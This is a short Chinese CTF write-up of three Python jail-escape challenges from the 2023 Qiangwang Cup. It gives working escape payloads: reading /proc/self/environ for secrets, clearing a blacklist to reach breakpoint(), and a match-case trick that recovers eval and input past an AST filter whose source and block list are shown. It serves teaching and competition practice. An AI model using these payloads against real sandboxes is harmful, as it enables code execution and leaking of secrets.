2023年强网杯的三个pyjail...

【PyJail】2023 强网杯

前言

水一水 2023 强网杯做了的几道题

Pyjail ! It's myFILTER !!!

非预期直接读取环境变量

{print(open("/proc/self/environ").read())}

Pyjail ! It's myRevenge !!!

可以先使用help()查询__main__ ,读取文件信息

两步走:

  1. 删除blacklist
  2. 执行breakpoint
# 删除blacklist
{(z:=list(locals().values()),z[-2].clear(),"{inpu""t()}")[2]}
# 执行breakpoint
{locals()["__builtins__"].breakpoint()}

pyjail

Pyjail ! It's myAST !!!!

import ast

BAD_ATS = {
    ast.Attribute,  # . 调用
    ast.Subscript,  # [] 调用
    ast.comprehension,  # 推导式
    ast.Delete,  # del
    ast.Try,  # try
    ast.For,  # for
    ast.ExceptHandler,  # except
    ast.With,       # with
    ast.Import,     # import xxx
    ast.ImportFrom, # from xxx import yyy
    ast.Assign,     # a = xxx
    ast.AnnAssign,  # a: int = xxx
    ast.Constant,   # 114514
    ast.ClassDef,   # class
    ast.AsyncFunctionDef,   # async fun
}


BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance,
}

def is_safe(code):
    if type(code) is str and "__" in code:
        return False

    for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
        if type(x) in BAD_ATS:
            return False

    return True

if __name__ == "__main__":
    user_input = ""
    while True:
        line = input()
        if line == "":
            break
        user_input += line
        user_input += "\n"
    if is_safe(user_input) and len(user_input) < 1800:
        res = exec(user_input, {"__builtins__": BUILTINS}, {})

只能用白名单内的ast和builtins,思路如下:

  • 赋值语句可以使用海象运算符:=绕过,属于ast.NamedExpr,没有被ban
  • 获取属性,可以使用python3.10的新特性——match case来一层层获取
  • __可以使用__绕过

最后的exp其实很短,获取len.__self__拿到builtins module,然后获取builtlins['eval']builtins['input'],最后eval(input())

match len:
    case object(__self__=x):
        pass
match x:
    case object(eval=y):
        pass
match x:
    case object(input=z):
        y(z())